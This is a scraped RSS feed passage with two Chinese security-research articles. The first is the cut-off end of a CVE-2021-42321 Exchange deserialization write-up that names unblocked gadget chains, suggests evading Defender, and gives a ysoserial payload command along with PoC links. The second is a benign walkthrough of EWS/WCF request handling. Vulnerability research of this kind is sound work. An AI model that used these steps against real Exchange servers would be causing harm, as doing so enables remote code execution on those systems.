&#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">至此我们获得了完整的利用链。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">Gadgates</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">TypeConfusedDelegate、ClaimsPrincipal及ActivitySurrogateSelector ，这三个链没有在这个版本exchange的黑名单中。ActivitySurrogateSelector 可以直接执行dll文件，但在exchange上会报错。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">关于反序列化链的研究以后的文章再详细分析。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">Bypass Windows Definder</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">实际在利用的过程中遇到的500错误，之前朋友在利用的时候遇到过，应该是w3wp进程启动进程被Definder拦截了。这样的话只要修改ysoserial的代码功能为写文件即可利用。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5738181818181818" title="null" data-type="png" data-w="1375" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=973a77b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFudrfTwiaTJ2tB7edGDLsYYpMNCeUicvAia8DKZib6d8mDOvmhNibWHCoNnXQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">关于如何绕过definder阻止启动新进程的方式，以后会有相关的文章专题。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">测试</h2><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c &#34;1&#34; -t</code></pre><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.53125" title="null" data-type="png" data-w="1248" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=ccc3f6df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFuMLgCstvB68EKQGoltbu8ZwLOQGrlWsk2zMmWUhzd1lt7akwGLOKeQw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">成功生成文件</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2834274952919021" title="null" data-type="png" data-w="1062" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2e1fb983&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFu5zZQGEESSPfh5IkcXWoLSMc6BNqWriaHM5ibhK9RFF0k6Ktb8EhgtnyA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">前面修改了以下poc xml中的ExtensionMasterTable就发现漏洞不能顺利触发，能创建配置但调用会失败。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3894230769230769" title="null" data-w="832" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=8265b9e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFun4ibqRs9lJrxnsrnkzy4uCBPUDWlco4xN33QQ1Jv3S7Re5fIHSSNwTA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在最终利用的地方Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer的TryDeserialize函数中，要被反序列化的实例userConfiguration的configName为ExtensionMasterTable：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4022222222222222" title="null" data-w="1350" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=3eace996&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFuCqXddqBqx6pxIGIHFU987JkcJr2onJPoTgCoGXibE40qXejCS5AlobQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="margin-bottom: 24px;"><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">反序列化触发已经限制死了配置名为ExtensionMasterTable的配置。</span></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">修复</h2><p style="margin-bottom: 24px;"><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">  KB5007409得到修复，</span><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">最</span><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">终</span><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">反序列化的地方：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.17699115044247787" title="null" data-w="904" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c4476b62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFusuw73r5icRWhX4xicje9PXw6be7MMwpYGH78dD3Z60dcIAogrQgR1f1g%2F640%3Fwx_fmt%3Dpng"/></figure><p style="margin-bottom: 24px;"><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">此处this.formatter为IClientExtesionCollectionFormatter的实现，仅剩Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream) : Collection</span></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">POC及修改过的ysoseial.net</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://github.com/DarkSprings/CVE-2021-42321" target="_blank">https://github.com/DarkSprings/CVE-2021-42321</a> <a href="https://github.com/7BitsTeam/exch_CVE-2021-42321" target="_blank">https://github.com/7BitsTeam/exch_CVE-2021-42321</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">参考：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852" target="_blank">https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852</a></p><p style="margin-bottom: 24px;"><br/></p>



<p><a href="2247499027">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=30e3ca8f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247499027%26idx%3D1%26sn%3Db40c9d534a6348811eca5058f88e47ba%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 09 Oct 2022 09:10:00 +0800</pubDate>
    </item>
    <item>
      <title>DotNet安全-Exchange请求流程分析(二)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247498998&amp;idx=1&amp;sn=98826c6b5d8f5b200b8047b76b9c274b</link>
      <description>在研究exchange反序列化漏洞之前，我们知道这几个漏洞都是通过ews接口设置账户属性为二进制数据后触发的反序列化。ews是exchange提供给用户的webservice接口，包含了绝大多数的用户功能，研究ews的业务逻辑还是很有必要的</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2022-10-08 09:10</span> <span style="display: inline-block;">江苏</span>
</p>

<p>在研究exchange反序列化漏洞之前，我们知道这几个漏洞都是通过ews接口设置账户属性为二进制数据后触发的反序列化。ews是exchange提供给用户的webservice接口，包含了绝大多数的用户功能，研究ews的业务逻辑还是很有必要的</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=74024a78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZosaldfhpCjxgPJDtqvuA4eF4Oc55nO3bQaXxpk7ribPKUHgv3q4wEYA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);" data-mpa-powered-by="yiban.io">DotNet安全-Exchange请求流程分析(二)</h1><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">引言</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在研究exchange反序列化漏洞CVE-2021–42321、CVE-2020-17144和CVE-2018-8302之前，我们知道这几个漏洞都是通过ews接口设置账户属性为二进制数据后触发的反序列化。ews是exchange提供给用户的webservice接口，包含了绝大多数的用户功能，研究ews的业务逻辑还是很有必要的。结合前一篇文章，本篇主要介绍ews的后端处理部分。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">WCF架构</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">wcf笔者个人的理解是一种基于http协议的RPC手段，类似于java中的jndi、rmi等等。主要为了实现分布式架构而产生的技术。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">定义接口</h3><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">using System;<br/>using System.ServiceModel;<br/> <br/>namespace GettingStartedLib<br/>{<br/>        [ServiceContract(Namespace = &#34;<a href="http://Microsoft.ServiceModel.Samples" target="_blank">http://Microsoft.ServiceModel.Samples</a>&#34;)]<br/>        public interface ICalculator<br/>        {<br/>            [OperationContract]<br/>            double Add(double n1, double n2);<br/>                  }<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">关键字OperationContract，看到这个就知道是服务的的接口。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">实现接口</h3><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">using System;<br/>using System.ServiceModel;<br/> <br/>namespace GettingStartedLib<br/>{<br/>    public class CalculatorService : ICalculator<br/>    {<br/>        public double Add(double n1, double n2)<br/>        {<br/>            double result = n1 + n2;<br/>            Console.WriteLine(&#34;Received Add({0},{1})&#34;, n1, n2);<br/>            // Code added to write output to the console window.<br/>            Console.WriteLine(&#34;Return: {0}&#34;, result);<br/>            return result;<br/>        }<br/> <br/>       }<br/>}</code></pre><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">修改配置文件</h3><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4702750665483585" title="null" data-type="png" data-w="1127" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b3f817e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZ9XJ8asYfmcqaqSDwevicfKfjNfJDZIl95xezEXibqzANQLNg6HTdwCdg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">img</figcaption></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">创建注册端点</h3><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">using System;<br/>using System.ServiceModel;<br/>using System.ServiceModel.Description;<br/>using GettingStartedLib;<br/> <br/>namespace GettingStartedHost<br/>{<br/>    class Program<br/>    {<br/>        static void Main(string[] args)<br/>        {<br/>            // Step 1: Create a URI to serve as the base address.<br/>            Uri baseAddress = new Uri(&#34;<a href="http://localhost:8000/GettingStarted/" target="_blank">http://localhost:8000/GettingStarted/</a>&#34;);<br/> <br/>            // Step 2: Create a ServiceHost instance.<br/>            ServiceHost selfHost = new ServiceHost(typeof(CalculatorService), baseAddress);<br/> <br/>            try<br/>            {<br/>                // Step 3: Add a service endpoint.<br/>                selfHost.AddServiceEndpoint(typeof(ICalculator), new WSHttpBinding(), &#34;CalculatorService&#34;);<br/> <br/>                // Step 4: Enable metadata exchange.<br/>                ServiceMetadataBehavior smb = new ServiceMetadataBehavior();<br/>                smb.HttpGetEnabled = true;<br/>                selfHost.Description.Behaviors.Add(smb);<br/> <br/>                // Step 5: Start the service.<br/>                selfHost.Open();<br/>                Console.WriteLine(&#34;The service is ready.&#34;);<br/> <br/>                // Close the ServiceHost to stop the service.<br/>                Console.WriteLine(&#34;Press &lt;Enter&gt; to terminate the service.&#34;);<br/>                Console.WriteLine();<br/>                Console.ReadLine();<br/>                selfHost.Close();<br/>            }<br/>            catch (CommunicationException ce)<br/>            {<br/>                Console.WriteLine(&#34;An exception occurred: {0}&#34;, ce.Message);<br/>                selfHost.Abort();<br/>            }<br/>        }<br/>    }<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这是conoleApp的流程，实际web应用在web.config定义即可：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">&lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&gt;  <br/>&lt;configuration&gt;  <br/> &lt;system.serviceModel&gt;  <br/>  &lt;bindings&gt;  <br/>    &lt;basicHttpBinding&gt;  <br/>     &lt;binding name=&#34;myBindingConfiguration1&#34; closeTimeout=&#34;00:01:00&#34; /&gt;  <br/>     &lt;binding name=&#34;myBindingConfiguration2&#34; closeTimeout=&#34;00:02:00&#34; /&gt;  <br/>     &lt;binding closeTimeout=&#34;00:03:00&#34; /&gt;  &lt;!-- Default binding for basicHttpBinding --&gt;  <br/>    &lt;/basicHttpBinding&gt;  <br/>     &lt;/bindings&gt;  <br/>     &lt;services&gt;  <br/>      &lt;service name=&#34;MyNamespace.myServiceType&#34;&gt;  <br/>       &lt;endpoint<br/>          address=&#34;myAddress&#34; binding=&#34;basicHttpBinding&#34;<br/>          bindingConfiguration=&#34;myBindingConfiguration1&#34;  <br/>          contract=&#34;MyContract&#34;  /&gt;  <br/>       &lt;endpoint<br/>          address=&#34;myAddress2&#34; binding=&#34;basicHttpBinding&#34;<br/>          bindingConfiguration=&#34;myBindingConfiguration2&#34;  <br/>          contract=&#34;MyContract&#34; /&gt;  <br/>       &lt;endpoint<br/>          address=&#34;myAddress3&#34; binding=&#34;basicHttpBinding&#34;<br/>          contract=&#34;MyContract&#34; /&gt;  <br/>       &lt;/service&gt;  <br/>      &lt;/services&gt;  <br/>    &lt;/system.serviceModel&gt;  <br/>&lt;/configuration&gt;  </code></pre><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid 